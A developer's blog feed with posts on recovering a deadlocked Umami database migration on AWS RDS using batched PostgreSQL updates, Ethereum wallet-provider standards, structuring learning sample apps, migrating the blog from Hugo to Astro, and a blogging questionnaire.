Chen Hui Jing

Database troubleshooting for Umami

Sat, 25 Oct 2025 11:44:48 GMT

I suck at SQL. There. I said it. I just never really had to interact with a SQL database directly over the years. So yeah, I can query a database, but managing one? Nah. My SQL knowledge is pretty much limited to SELECT * FROM something WHERE otherthing = ?.

My website uses Umami for site analytics, which was set up around October 2020. Between that blog post and now, I had migrated my database from Heroku to AWS RDS, which I did not do on my own. Someone else had set things up on AWS and sent me the database URL to connect to.

I had also migrated to Umami v2 at some point, dutifully following the migration instructions, which thankfully just worked. But then, when version v2.18.0 was released, I ran into this little error:

Error: P3018

A migration failed to apply. New migrations cannot be applied before the error is recovered from. Read more about how to resolve migration issues in a production database: https://pris.ly/d/migrate-resolve

Migration name: 09_update_hostname_region

Database error code: 40P01

Database error:
ERROR: deadlock detected
DETAIL: Process 27550 waits for AccessExclusiveLock on relation 16967 of database 16401; blocked by process 26654.
Process 26654 waits for AccessShareLock on relation 16982 of database 16401; blocked by process 27550.
HINT: See server log for query details.

DbError { severity: "ERROR", parsed_severity: Some(Error), code: SqlState(E40P01), message: "deadlock detected", detail: Some("Process 27550 waits for AccessExclusiveLock on relation 16967 of database 16401; blocked by process 26654.\nProcess 26654 waits for AccessShareLock on relation 16982 of database 16401; blocked by process 27550."), hint: Some("See server log for query details."), position: None, where_: None, schema: None, table: None, column: None, datatype: None, constraint: None, file: Some("deadlock.c"), line: Some(1135), routine: Some("DeadLockReport") }


✗ Command failed: prisma migrate deploy
Error: P3018

A migration failed to apply. New migrations cannot be applied before the error is recovered from. Read more about how to resolve migration issues in a production database: https://pris.ly/d/migrate-resolve

Migration name: 09_update_hostname_region

Database error code: 40P01

Database error:
ERROR: deadlock detected
DETAIL: Process 27550 waits for AccessExclusiveLock on relation 16967 of database 16401; blocked by process 26654.
Process 26654 waits for AccessShareLock on relation 16982 of database 16401; blocked by process 27550.
HINT: See server log for query details.

DbError { severity: "ERROR", parsed_severity: Some(Error), code: SqlState(E40P01), message: "deadlock detected", detail: Some("Process 27550 waits for AccessExclusiveLock on relation 16967 of database 16401; blocked by process 26654.\nProcess 26654 waits for AccessShareLock on relation 16982 of database 16401; blocked by process 27550."), hint: Some("See server log for query details."), position: None, where_: None, schema: None, table: None, column: None, datatype: None, constraint: None, file: Some("deadlock.c"), line: Some(1135), routine: Some("DeadLockReport") }

 ELIFECYCLE  Command failed with exit code 1.
ERROR: "check-db" exited with 1.
 ELIFECYCLE  Command failed with exit code 1.

I am not equipped to solve such errors. But I wasn't alone. Scouring GitHub revealed:

I also submitted an issue of my own, but was told to resolve my database deadlock first. Nobody really had the exact same error as I did but based on everyone else's issues, I guessed that my database was probably too large for the tiny RDS instance to cope with the migration.

Given that v3 was coming out soon, I figured now would be an excellent time to actually sit my ass down and resolve this database issue once and for all.

The most basic of basics

You need tools for troubleshooting, and the first thing is to figure out how to actually access your database. I had to finally log into the database for the first time ever (the migration was previously run via script, I didn't actually have to do anything). AWS provides this guidance on how to connect to your PostgreSQL DB instance. You need psql.

If you're on Mac OS, like me, install libpq via brew.

brew install libpq

Then add it to your PATH. I'm using fish shell so I used fish_add_path.

fish_add_path /opt/homebrew/opt/libpq/bin

Connect to your remote database. This really depends on where your database lives. For me, I used this URL pattern.

psql "postgres://dbuser:password@aws_rds_endpoint:port/db_name?sslrootcert=path_to_pem_file"

Start operation recovery

The migration borked at 09_update_hostname_region, and the migration.sql file looks like this:

-- AlterTable
ALTER TABLE "website_event" ADD COLUMN     "hostname" VARCHAR(100);

-- DataMigration
UPDATE "website_event" w
SET hostname = s.hostname
FROM "session" s
WHERE s.website_id = w.website_id
    and s.session_id = w.session_id;

-- DropIndex
DROP INDEX IF EXISTS "session_website_id_created_at_hostname_idx";
DROP INDEX IF EXISTS "session_website_id_created_at_subdivision1_idx";

-- AlterTable
ALTER TABLE "session" RENAME COLUMN "subdivision1" TO "region";
ALTER TABLE "session" DROP COLUMN "subdivision2";
ALTER TABLE "session" DROP COLUMN "hostname";

-- CreateIndex
CREATE INDEX "website_event_website_id_created_at_hostname_idx" ON "website_event"("website_id", "created_at", "hostname");
CREATE INDEX "session_website_id_created_at_region_idx" ON "session"("website_id", "created_at", "region");

The migration never finished, so I first had to mark the failed migration as rolled back so we can do it all over again.

prisma migrate resolve --rolled-back 09_update_hostname_region

A check on the state of my database revealed that I had 1,003,518 rows to deal with and my database was on a t3.micro instance. Probably not the best combination but it is what it is.

It seemed like a better idea to run the migration in batches and commit after every batch so I could recover without having to go through the entire database all over again if something went wrong. These are the steps I went through.

Start off with some defensive session settings for my puny t3.micro instance:

SET lock_timeout = '2min';
SET statement_timeout = '60min';
SET idle_in_transaction_session_timeout = '10min';
SET maintenance_work_mem = '256MB';

Also add helper indexes in addition to the required column:

ALTER TABLE public.website_event ADD COLUMN IF NOT EXISTS hostname VARCHAR(100);

CREATE INDEX CONCURRENTLY IF NOT EXISTS session_website_id_session_id_idx
  ON public."session"(website_id, session_id);

CREATE INDEX CONCURRENTLY IF NOT EXISTS website_event_wid_sid_null_idx
  ON public.website_event(website_id, session_id)
  WHERE hostname IS NULL;

Create a helper function to fill in the rows for the newly added column:

CREATE OR REPLACE FUNCTION fill_hostname_batch(batch_size int)
RETURNS integer
LANGUAGE plpgsql
AS $$
DECLARE r_count integer;
BEGIN
  WITH chunk AS (
    SELECT w.ctid AS w_ctid, s.hostname
    FROM public.website_event w
    JOIN public."session" s
      ON s.website_id = w.website_id
     AND s.session_id = w.session_id
    WHERE w.hostname IS NULL
    LIMIT batch_size
  )
  UPDATE public.website_event w
  SET hostname = c.hostname
  FROM chunk c
  WHERE w.ctid = c.w_ctid;

  GET DIAGNOSTICS r_count = ROW_COUNT;
  RETURN r_count;
END$$;

Set the function to run in batches. I manually stopped this when it returned 0. But this took more than 24 hours. I actually had to go on a business trip before it completed so I stopped it and resumed it when I came back home.

\set batch 2000
SELECT fill_hostname_batch(:batch);
\watch 1

Create the new website_event index:

CREATE INDEX CONCURRENTLY IF NOT EXISTS website_event_website_id_created_at_hostname_idx
  ON public.website_event(website_id, created_at, hostname);

Drop the legacy session indexes:

DROP INDEX CONCURRENTLY IF EXISTS public.session_website_id_created_at_hostname_idx;
DROP INDEX CONCURRENTLY IF EXISTS public.session_website_id_created_at_subdivision1_idx;

Apply the required session column changes:

BEGIN;
SET LOCAL lock_timeout = '5s';

DO $$
BEGIN
  IF EXISTS (
    SELECT 1 FROM information_schema.columns
    WHERE table_schema='public' AND table_name='session' AND column_name='subdivision1'
  ) THEN
    EXECUTE 'ALTER TABLE public."session" RENAME COLUMN subdivision1 TO region';
  END IF;
END$$;

ALTER TABLE public."session" DROP COLUMN IF EXISTS subdivision2;
ALTER TABLE public."session" DROP COLUMN IF EXISTS hostname;

COMMIT;

Almost there now. Create the new session index:

CREATE INDEX CONCURRENTLY IF NOT EXISTS session_website_id_created_at_region_idx
  ON public."session"(website_id, created_at, region);

Finalise the migration record:

UPDATE public._prisma_migrations
SET finished_at = NOW(),
    rolled_back_at = NULL,
    logs = 'Manually completed after deadlock recovery and verified schema.'
WHERE migration_name = '09_update_hostname_region'
  AND finished_at IS NULL;

Thankfully at this point, there weren't any new errors, and it seemed like the migration went through.

Wrapping up

I ran npx prisma migrate status which told me that I had 13 pending migrations, and I went ahead and applied them with npx prisma migrate deploy. Again, no new errors, and when I finally ran the build command, it actually worked and the app compiled successfully. 🥳

Hopefully v3 doesn't involve such a mega database update. 🤞

How standards enhance the developer experience

Sat, 18 Oct 2025 01:14:50 GMT

My timeline of how the web has evolved is based on CSS layout eras. If you ever came across an earlier post I wrote back in March, you'll know that I started out at the tail-end of the HTML tables era and the start of the floats era.

There's even more cool stuff after Grid but I can't find my source file for this graphic

I had joined the industry as a paid developer the same year the Web Standards Project had wound down because standards were a real thing and the browser wars were over. This means I had not truly lived the wild west times of either writing a whole lot of extra code to make sure things worked in different browsers or just picked one browser and hoped for the best.

Well, now that I'm doing work in the blockchain space, I feel like I have a better understanding of how things would have been like for developers back then. When it comes to decentralised applications (dApps), Ethereum is probably considered the foundational ecosystem, given they were the first blockchain to introduce smart contracts, enabling programmable financial transactions and other interesting applications.

Little bit of background info

Ethereum has standards, which are introduced as Ethereum Improvement Proposals (EIPs). Conceptually they are grandchildren of the Python Enhancement Proposals (PEPs) process. Given that Ethereum has been around for a decade, it's a fairly long list of EIPs so far, and a good number are considered final.

There is a JavaScript API for Ethereum, defined by EIP-1193: Ethereum Provider JavaScript API. It describes how key management software (AKA wallets) need to expose their API via a JavaScript object, known as a "Provider". This Provider allows the application to make Ethereum RPC requests and respond to state changes in the Provider’s Ethereum chain, Client, and Wallet.

At first this was fine, because the software wallet space wasn't that crowded, most people were just using Metamask. It's considered the first wallet that catered to a "beginner" audience, and was installed as a browser extension. But as the ecosystem expanded, the number of different wallet products also grew. It isn't uncommon to have users with multiple wallet browser extensions installed.

So if you are the developer of a dApp that makes use of the user's connected wallet, you now have a problem. Browser extension wallets would inject their Ethereum providers into the same window.ethereum object. And the user cannot control which Provider gets to interact with. The last wallet to load usually wins 🤨.

This problem is outlined in EIP-6963: Multi Injected Provider Discovery, which came into existence as a resolution. So between the two standards, we have a pretty good idea of how browser wallets are expected to behave. The keyword here is "expected". Look, I've been swimming around in the lake of CSS specifications for a number of years now. I learned early on that having defined in a standard is only the beginning of the journey.

Rules seem like suggestions

I'm Malaysian, and the joke I love to make to the Singaporeans around me is, where I come from, traffic laws are less like rules and more like suggestions. Like, MAYBE you don't wanna park next to a no parking sign. Or MAYBE you should slow down when the light turns yellow. But you do you. In this day and age, I realise I must explicitly say this is a JOKE. Please obey traffic laws when you come to Malaysia.

The point is, even though the standard exists, the browser wallet extension makers aren't forced to implement it within a specific deadline after the standard is made final. There generally are no hard deadlines for specification implementation. For example, Firefox just started supporting View Transitions 4 days ago. Chrome released in early March 2023, and Safari released in mid September 2024.

That being said, standards and specifications are great, because it allows for a predictable interface when developers want to build atop such foundational elements. The start of most dApp user journeys involves the user clicking a "Connect Wallet" button to connect their browser wallet to the application and perform blockchain transactions, i.e. record state changes onto the blockchain.

The technical details of building a connect wallet interface I will cover in a separate post, but I just wanted to provide a description of how the experience was like with a picture. It's worth a thousand words.

Granted I did have more than the normal number of browser wallets installed at the same time and most users probably don't do this (maybe). Call it a stress test. Web standards for HTML, CSS and JavaScript are focused on end-user interaction with the browser, and I was very used to thinking along those lines. However, for the Ethereum standards, it is more focused on the wallet interacting with the blockchain. In that sense, the dApp interacting with the wallet is one level away.

An example would be disconnecting your wallet from the dApp. The disconnect event outlined in EIP-1193 is meant for the wallet to indicate that it has lost its connection to the blockchain, and not for indicating the user disconnecting their wallet from the application. So the issue I ran into was the scenario where someone wanted to switch to a different wallet to interact with my application, and I kept getting stuck with the old wallet provider.

Libraries like Wagmi provide a layer of abstraction for connecting wallets which simulates disconnection behaviour with a shim. Metamask has its own API that exposes a wallet_revokePermissions for developers to use, and there are some standard proposals like ERC-7715: Grant Permissions from Wallets that could alleviate the problem eventually.

Wrapping up

It seems to me that this space of developing dApps is similar to the earlier days of the web where the entire ecosystem is still trying to nail down things that are worth standardising across the board. Which is giving me a taste of what it must have been like building websites back in the day of the browser wars.

Now I don't think I'm even experiencing half the exasperation, but it is giving me a greater appreciation of the work so many people have done to make web standards a thing. Today, I can happily build sites with the reassurance that it will almost always behave the same across browsers, and that's not something to be taken for granted.

Web pioneers, I salute you. 🫡
Thank you for paving the way for the rest of us.

Let's talk sample apps

Wed, 08 Oct 2025 11:44:48 GMT

I'm back in the Developer Relations profession. But after going through the migration last weekend, it occurred to me that some part of my current job was something that I had already been doing over the years I've had this blog. And that is, explaining to others how something is done and how things work.

My only 2 developer relations jobs were at companies that provided SDKs as products to developers (among other things they do to make revenue). And so it was important to show developers how our SDKs were used and what you could do with them. This meant that I needed to know these SDKs really well, especially all the bits that don't work very well.

But today, I wanna talk about sample applications. The keyword here is "sample".

a small amount of something that shows you what the rest is or should be like
– Cambridge Dictionary

What is the point of a sample application? Well, for my context, I would broadly categorise them into 2 groups:

Learning sample applications
Such applications are meant to guide a developer on how to implement something and hopefully they can apply what they learned into their own applications
Showcase sample applications
Such applications are meant to show what a particular technology makes possible

Based on these categorisations, I would say that learning sample apps would end up being flatter in project structure, since the main purpose is to let developers understand how a particular feature is implemented. You wouldn't spend time optimising and modularising everything to be "production-ready", whatever that means.

Personally I think showcase apps can just go wild. I mean, I used to work in advertising where sometimes, even things meant for "production" felt like they were just showcase apps held together by duct tape and the hopes and prayers of the account manager. If you know what I mean.

The rest of this post is focused on learning sample apps. Showcase apps can do whatever they want.

Decisions, decisions…

When I was young and stupid, I was rather opinionated about the "best" way to do things. Now that I'm old and stupid, I'm much less opinionated, and hopefully less stupid as well. The best way to do things is extremely contextual, so the only guiding principle I go by is to assess the situation you're in.

Anywayz, I had been thinking about the best way to structure sample web applications for the purpose of learning. And wanted to keep a record of my thought process.

First and foremost, what is the specific thing you're trying to explain, and what is its native environment? For example, if I'm trying to teach someone how Flexbox works, then I would consider the native environment CSS. If I'm trying to teach someone how to use a particular Node.js SDK, then I would consider the native environment JavaScript or Typescript, you get the picture.

Next thing I took into consideration was the habits and preferences of the audience I was trying to reach. If you're building in the AI space, odds are the preferred language is going to be Python. A lot of developers building applications on the blockchain seem to default to React and (sadly) Tailwind. I'm still not a big fan of Tailwind but I can see its use-cases.

Also, would there be more sample apps related to the same topic. Or are they individual snowflakes? If the sample apps are part of a larger theme, do you want to have unified visuals for UI components? For example, if you're building developer documentation for a suite of product SDKs, maybe your sample apps all follow a similar structure and use the same libraries.

Again, there are no hard and fast rules, but a series of trade-offs between how much effort you can afford versus the range of audiences you are trying to reach, I suppose. In a world where unicorns poop rainbows, you could show your developer audience every flavour of how something is done, but sadly, we live here.

Highlight the critical code

As a bilingual speaker, I honestly wanted by heading for this section to be "讲重点" but I didn't have the language skills to translate that concisely while keeping the gist right.

CSS

I've built quite a few demos on CodePen as well as standalone sites over the years. A lot of them are about CSS (86 posts on this blog so far). Most of the demos need some form of "unrelated" code just to make the demo look decent so people don't get so distracted by the lack of styling they miss the point altogether.

For those, I've mostly grouped those styles at the bottom (generally safe cascading since they're not touching the actual elements for the demo), and use a comment to indicate they are layout styles. This seems to be a relatively common approach based on what I've seen.

See the Pen View Transitions API by Chen Hui Jing (@huijing) on CodePen.

Another approach that came to mind was to have the unrelated styles as inline styles on the HTML elements themselves, and leave ONLY the relevant CSS in the stylesheet. That way there is no ambiguity and everything in the CSS file is relevant. I feel this approach could make it easier to immediately parse the CSS that is doing the actual work.

I'm still in two minds on whether to extend this to the actual element being styled itself. Say if I'm explaining Flexbox, and I put the border style for the element inline instead, you know? Share your thoughts on this with me, if you have any.

JavaScript

For JavaScript it might be trickier. But I have done 2 (or more) separate JavaScript files, where one only contains the relevant logic and the other ones handle everything else to make the website work. With the module syntax now pretty much the norm, there are so many levels of abstraction possible, and this is one area I feel warrants a bit more deliberate thought.

When writing tutorials around such sample apps, I always ponder how copy-pastable my code is. Ideally, you're really not supposed to wholesale copy and paste a sample app code into your own application but you know and I know and your cat knows that people tend to do that. I lean more heavily towards leaving the responsibility of modularisation up to the developer themselves.

Or even for frameworks, like React. If you look at the average React project, it's components all the way down, which is sort of the right way to do things. But I've personally spent a lot of time digging through components like a forensics team trying to find a dead body just to locate where the logic lies.

For a learning sample app, I would propose keeping all UI components as dumb as possible, then dump all the relevant logic into a big-ass custom hook. Is this best practice? Probably not, but it sure makes it easier to find feature implementation code. Generally, I'm thinking along the lines of getting the framework code out of the way as much as possible.

Wrapping up

If you made it this far, thank you reading the words that I wrote. I'm under the impression that most people don't actually read these days. But hey, what do I know? I'm still amazed that this blog has existed for more than 11 years. A couple of years ago, I too had fallen into the category of people who Googled how to do something and landed on their own blog post.

Ah well. Life.

Migrating from Hugo to Astro

Mon, 06 Oct 2025 01:09:20 GMT

I'm migrating my blog again. This blog has been in existence for more than 11 years. It started as a Jekyll site. Then I moved to Hugo. Now I'm moving it to Astro. The design has NEVER changed, which makes me quite contrarian to most frontend developers in the industry. But when I came up with the design back then, I wanted it to feel like me. And today, when I look at my blog, it still feels like me. I guess this says more about me as a person than my actual blog design, but I'm past the age where I care any more.

Hugo says I have 287 pages on my blog but I only have 226 blog posts 🤔. But the point is, I have a lot of pages to migrate. Do I really have to port over everything, you might ask? Well, yes. I do. This is my entire web developer journey, how could I possibly leave anything behind? Also, why am I migrating to begin with? Honestly, I completely lost the plot with Hugo.

When they released their revamped template system in v0.146.0, I couldn't wrap my head around it. My listing pages all broke locally. If you check my blog statistics, I clearly haven't been writing that much since 2021 anyway, but I don't actually know Go or work on Hugo websites. So this is not a Hugo problem, it's a me problem. I also started living in Astro since 2023, when I was documentation infrastructure czar (this is a fake title) at the Interledger Foundation.

Needless to say, I have fallen in love with Astro and its fantastic community. I will always have good things to say about Astro. At this point in my career, I feel reasonably confident in my migration capabilities. I've built my career on similar projects, enough to learn that it's never easy, and things will break, but nothing can't be fixed. Probably not going to be a single day project this time though.

However, this is now a mid-sized website (that earns NOTHING, haha), so I did need to think through some migration strategies.

Set up Astro site

I also love bun. At first, it was because I liked the logo, because I'm superficial like that. But I've felt the benefits of its package manager, how it does .env files, how it supports TypeScript natively and so on. Yay, bun.

Anyway, first step was creating a new Astro project:

bunx create-astro@latest website

Astro warns you that using Astro with Bun is a little rough around the edges, but it was alright for me. I went with the blog template.

Migrate generated components

The blog template has some Astro components like the site header and footer. I figured those could be the first things to go over. I did have quite a lot of template logic going on, but low-hanging fruit first tends to be how I do things. I had not looked at my styling code in years, but the Sass features I had been using are pretty much native CSS at this point, so this was a good time for a styles refactor.

I had previously broken up my files into different Sass files loosely based on Harry Robert's ITCSS, so it did make porting over to Astro components relatively easy. I rewrote all the Sass back to native CSS because I really wasn't doing anything spectacular Sassy to begin with. Just some nesting and colour functions. Nothing today's native CSS couldn't handle.

Once the base styles came over, there was an illusion that things were progressing quickly. No, they were not. This was largely due to the amount of template logic I had introduced over the years. Porting over the stuff in the head element took a good while, because I had relied on a lot of post frontmatter to do that. So that also meant setting up the frontmatter in Astro via the content.config.ts file.

I also needed to inject some logic into the RSS feed implementation because my blog listed writing that I did for external publications and I wanted the canonical links to point to those external URLs. The external URL thing ended up taking a lot more time than I expected, but at least it works now. By now the plan to migrate generated components first had gone out the window, because I got distracted by migrating pages instead.

import { getCollection } from "astro:content";
import rss from "@astrojs/rss";
import { SITE_DESCRIPTION, SITE_TITLE } from "@/consts";

export async function GET(context) {
  const posts = await getCollection("blog");
  return rss({
    title: SITE_TITLE,
    description: SITE_DESCRIPTION,
    site: context.site,
    items: posts
      .sort((a, b) => +new Date(b.data.date) - +new Date(a.data.date))
      .filter((post) => !post.data.nofeed)
      .map((post) => ({
        ...post.data,
        link: post.data.external_url ? post.data.external_url : `/blog/${post.id}/`,
        pubDate: new Date(post.data.date),
      })),
  });
}

Migrate pages

There were not that many pages (i.e. not blog posts) on my website, but the only straight-forward page was the "About" page. My "Talks" and "Work" pages were a combination of frontmatter filtering and looping over external data files. The meat of the site was my blog, so there was the full listing page, tag pages and the home page which showed the latest 10 posts. Also had a contact page, résumé page and custom 404 page.

By this point, I had fully realised that my brain reads JavaScript with a fluency that does not exist for Hugo's style of Go templating syntax. Migrating the tag pages were a good example of this. For Astro, creating tag pages was a matter of filtering the blog content collection for posts with tags in their frontmatter. I'll probably write up the details of the implementation in a separate post.

I also had data for my talk slides and side projects in separate YAML files, and had some logic that would display different URLs, if it should link to a blog post or an external URL. That logic in Hugo was… let's just say I'm not that great with double curly braces? I'm just more used to mapping arrays. Honestly, the most complicated logic was probably the head element if I'm being honest. Those OG tags, canonical URLs and noindex scenarios needed some extra scrutiny.

But in a nutshell, compare this:

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name=viewport content="width=device-width, initial-scale=1">

  <title>{{ if .Params.title }}{{ .Params.title | safeHTML }}{{ else }}{{ .Site.Title }}{{ end }}</title>
  <meta name="description" content="{{ if (eq .Type "blog") }}{{ .Summary | truncate 130 }}{{ else }}{{ .Site.Params.description }}{{ end }}">

  {{ if .Params.noindex }}
  <meta name="robots" content="noindex">
  {{ end }}

  {{ template "_internal/opengraph.html" . }}
  {{ template "_internal/twitter_cards.html" . }}

  <meta name="twitter:site" content="@hj_chen">
  <meta name="p:domain_verify" content="1623582e8d2881f774efff746a6f3f1f">
  <meta name="msvalidate.01" content="30F5181A4C23EE64C2F947E2910DDBBA">

  {{ if .Params.external_url }}
  <link rel="canonical" href="{{ .Params.external_url }}">
  {{ else }}
  <link rel="canonical" href="{{ .Permalink }}">
  {{ end }}
  
  {{ with .OutputFormats.Get "RSS" -}}
    {{ printf `<link rel="%s" type="%s" href="%s" title="%s">` .Rel .MediaType.Type .Permalink $.Site.Title | safeHTML }}
  {{ end -}}
  
  <link href="https://micro.blog/huijing" rel="me">
  <link rel="monetization" href="https://ilp.gatehub.net/747467740/USD" />

  {{ if (eq .Type "blog") }}
  {{ $options := (dict "targetPath" "posts.css" "outputStyle" "compressed" "enableSourceMap" true) }}
  {{ $style := resources.Get "sass/posts.scss" | resources.ToCSS $options }}
  <link rel="stylesheet" href="{{ $style.RelPermalink }}">
  {{ else }}
  {{ $options := (dict "targetPath" "pages.css" "outputStyle" "compressed" "enableSourceMap" true) }}
  {{ $style := resources.Get "sass/pages.scss" | resources.ToCSS $options }}
  <link rel="stylesheet" href="{{ $style.RelPermalink }}">
  {{ end }}

  <link rel="preload" href="/assets/fonts/eightbitoperatorplus8-bold-webfont.woff2" as="font" type="font/woff2" crossorigin>
  <link rel="preload" href="/assets/fonts/eightbitoperatorplus-regular-webfont.woff2" as="font" type="font/woff2" crossorigin>
  <link rel="preload" href="/assets/fonts/magnetic-pro-black.woff2" as="font" type="font/woff2" crossorigin>
  <link rel="preload" href="/assets/fonts/magnetic-pro-light.woff2" as="font" type="font/woff2" crossorigin>
  
  <link rel="apple-touch-icon" sizes="180x180" href="/assets/favicons/apple-touch-icon.png">
  <link rel="icon" type="image/png" href="/assets/favicons/favicon-32x32.png" sizes="32x32">
  <link rel="icon" type="image/png" href="/assets/favicons/favicon-16x16.png" sizes="16x16">
  <link rel="manifest" href="/assets/favicons/manifest.json">
  <link rel="mask-icon" href="/assets/favicons/safari-pinned-tab.svg" color="#009418">
  <link rel="shortcut icon" href="/assets/favicons/favicon.ico">
  <meta name="msapplication-config" content="/assets/favicons/browserconfig.xml">
  <meta name="theme-color" content="#ffffff">
</head>

with this:

<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <link rel="sitemap" href="/sitemap-index.xml" />
  <link rel="alternate" type="application/rss+xml" title={SITE_TITLE} href={new URL("rss.xml", Astro.site)}
  />
  <meta name="generator" content={Astro.generator} />

  <title>{title ? `${title} | ${SITE_TITLE}` : SITE_TITLE}</title>
  <meta name="author" content="Chen Hui Jing" />
  <meta name="title" content={title ? `${title} | ${SITE_TITLE}` : SITE_TITLE} />
  <meta name="description" content={description ? description : SITE_DESCRIPTION} />
  {noindex && <meta name="robots" content="noindex, nofollow" />}
  <link rel="canonical" href={canonicalURL} />

  <link rel="preload" href="/assets/fonts/eightbitoperatorplus8-bold-webfont.woff2" as="font" type="font/woff2" crossorigin>
  <link rel="preload" href="/assets/fonts/eightbitoperatorplus-regular-webfont.woff2" as="font" type="font/woff2" crossorigin>
  <link rel="preload" href="/assets/fonts/magnetic-pro-black.woff2" as="font" type="font/woff2" crossorigin>
  <link rel="preload" href="/assets/fonts/magnetic-pro-light.woff2" as="font" type="font/woff2" crossorigin>

  <meta property="og:title" content={title ? `${title} | ${SITE_TITLE}` : SITE_TITLE} />
  <meta property="og:type" content={ogType ? ogType : "website"} />
  <meta property="og:image" content={ogImageUrl ? ogImageUrl : new URL("/images/avatar-ponytail@2x.png", Astro.site).href} />
  <meta property="og:url" content={canonicalURL} />
  <meta property="og:description" content={description ? description : SITE_DESCRIPTION} />

  <meta name="twitter:card" content="summary_large_image" />
  <meta name="twitter:title" content={title ? `${title} | ${SITE_TITLE}` : SITE_TITLE} />
  <meta name="twitter:image" content={ogImageUrl ? ogImageUrl : new URL("/images/avatar-ponytail@2x.png", Astro.site).href} />
  <meta name="twitter:description" content={description ? description : SITE_DESCRIPTION} />

  <link rel="apple-touch-icon" sizes="180x180" href="/favicons/apple-touch-icon.png" />
  <link rel="icon" type="image/png" href="/favicons/favicon-32x32.png" sizes="32x32" />
  <link rel="icon" type="image/png" href="/favicons/favicon-16x16.png" sizes="16x16" />
  <link rel="manifest" href="/favicons/manifest.json" />
  <link rel="mask-icon" href="/favicons/safari-pinned-tab.svg" color="#009418" />
  <link rel="shortcut icon" href="/favicons/favicon.ico" />
  <meta name="msapplication-config" content="/favicons/browserconfig.xml" />
  <meta name="theme-color" content="#ffffff" />

  <meta name="twitter:site" content="@hj_chen" />
  <meta name="p:domain_verify" content="1623582e8d2881f774efff746a6f3f1f" />
  <meta name="msvalidate.01" content="30F5181A4C23EE64C2F947E2910DDBBA" />
  <link href="https://micro.blog/huijing" rel="me" />
  <link rel="monetization" href="https://ilp.gatehub.net/747467740/USD" />
</head>

Migrate blog posts

For the blog posts themselves, my content had always been in markdown since day 1 (which would be 4257 days ago). However, given that this is my third migration, I have started to think more about the use of components to keep things DRY. I then recalled the first time I did the migration, I had similar concerns. It was evident, looking at the current state of the blog posts this time, that I was in two minds back then.

In that previous migration blogpost, former me literally said:

But I oscillated between using Hugo’s custom shortcodes versus writing out HTML in full for my responsive images because I kept thinking what would happen if I migrated again. That would mean writing the stuff in the shortcodes within my content.

Somewhere along the lines in 2023, I sort of lost the plot, and ended up using shortcodes for a bit. Thankfully, my decreased writing output meant that it wasn't that much to deal with. But for now, I did create temporary components in Astro, that I plan to slowly migrate anyway from back to just the HTML in full. I hope I remember this, if not, it's gonna be kinda hilarious for migration number 3.

You know what, I'll create an issue to track this. I don't understand why previous me did not do this when all my stuff is on GitHub to begin with. 🙄

Astro is a TypeScript-first kind of framework, so type safety is totally a thing. Anyway, the documentation states: “Every frontmatter or data property of your collection entries must be defined using a Zod data type”. Considering I had 1001 frontmatter properties for all kinds of rendering logic (see the above section), my schema was a little long-ish.

const blog = defineCollection({
  loader: glob({ base: "./src/content/blog", pattern: "**/*.{md,mdx}" }),
  schema: () =>
    z.object({
      title: z.string(),
      date: z.coerce.date(),
      tags: z.array(z.string()).default([]),
      og_image: z.string().optional(),
      description: z.string().optional(),
      hastweet: z.boolean().default(false),
      hascaniuse: z.boolean().default(false),
      hascodepen: z.boolean().default(false),
      project: z.string().optional(),
      project_image: z.string().optional(),
      external_url: z.string().url().optional(),
      external_site: z.string().optional(),
      nofeed: z.boolean().default(false),
      noindex: z.boolean().default(false),
    }),
});

I had run the blog template when I first created the site and the schema had included Image as a type, and I'd thought to use it for my 2 image frontmatter properties but turns out, it doesn't really work? I did not dig into it but there was a whole GitHub issue and the conclusion was, just use a string. ¯\_(ツ)_/¯

Wrapping up

The first time I migrated, it took 3 days. This one sort of took 3 days as well. So maybe that's the average amount of time needed to migrate a website. I'm sure it will take less time if I ever complete paying off my tech debt of framework-locked partials/shortcodes/components. But maybe I'll actually stick with Astro since it's really close to HTML, CSS and JavaScript.

Check back in 5 years I guess.

Tag, you're it!

Wed, 16 Apr 2025 11:44:48 GMT

Blogging about blogging seems kinda meta to me. It's definitely fun to see how and why folks started and continue to blog. I got tagged by Hidde, so why not get this going?

Why did you start blogging in the first place?

Back in 2013, my first development job was at an agency and after almost coming up to 2 years, I had been thinking of moving onto somewhere else. I did solve a lot of bugs and learn a lot of things during my time there. But I realised I couldn't take the code I wrote with me. So I did the next best thing and wrote my solutions into blog posts with generic examples, so that future me could have something to fall back on.

What platform are you using to manage your blog and why did you choose it? Have you blogged on other platforms before?

Right now it's a website built with Hugo. I chose it because my original Jekyll site took a really long time to build and someone said that Hugo was fast. I wrote about the migration. Also, I was running into a bunch of deprecation issues with Ruby and some Github Pages gem and this and that.

How do you write your posts? For example, in a local editing tool, or in a panel/dashboard that’s part of your blog?

I just write on a new markdown file generated with the command hugo new PATH_TO_NEW_BLOG.

When do you feel most inspired to write?

At the most random moments. Or when I solve a problem that required a significant investment of my youth, and I therefore feel compelled to write it down so I don't have to think that hard ever again.

Do you publish immediately after writing, or do you let it simmer a bit as a draft?

I usually just hit publish and fix mistakes later. 乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ

What’s your favourite post on your blog?

Ooooo, I actually have a few that I like, but I'll go with Where did CSS named colours come from?, because I just like colours. Apparently my all time best performing blog post is East Asian character emojis ㊗️ 🈶️ 🈯️ 🈳️, go figure.

Who are you writing for?

Future me! Because I have no confidence that I'll be smarter than I am now in the future. Not that I'm smart now, just that things only go downhill from here. It's called aging.

Any future plans for your blog? Maybe a redesign, a move to another platform, or adding a new feature?

I know it's super popular, especially around web developers who do frontend to refresh their websites fairly regularly. But when I came up with this design more than a decade ago, I wanted it to feel like me. Every year I look at it, and think, is this still me? And the answer, for better or for worse, is still yes. So I have kept the same design for more than a decade. Sue me.

Who's next?

Seems like this has been going around for a while, and I'm not sure if these people have been tagged yet but here goes:

Zell Liew, my very first frontend friend and now a more than a decade long buddy
Harry Roberts, because he’s a very cool guy whom I have not seen in ages

Migrating content collections from Astro 4 to 5

Sat, 29 Mar 2025 21:14:50 GMT

In case you missed it, Astro 5 has been out and about since Dec 3, 2024. As of time of writing, we're at 5.5.4 already. What can I say, the team moves fast. ¯\_(ツ)_/¯

I have 2 projects that make use of Astro's content collections and I migrated the first of those back on Dec 16, 2024. What can I say, I'm one of THOSE people. ¯\_(ツ)_/¯

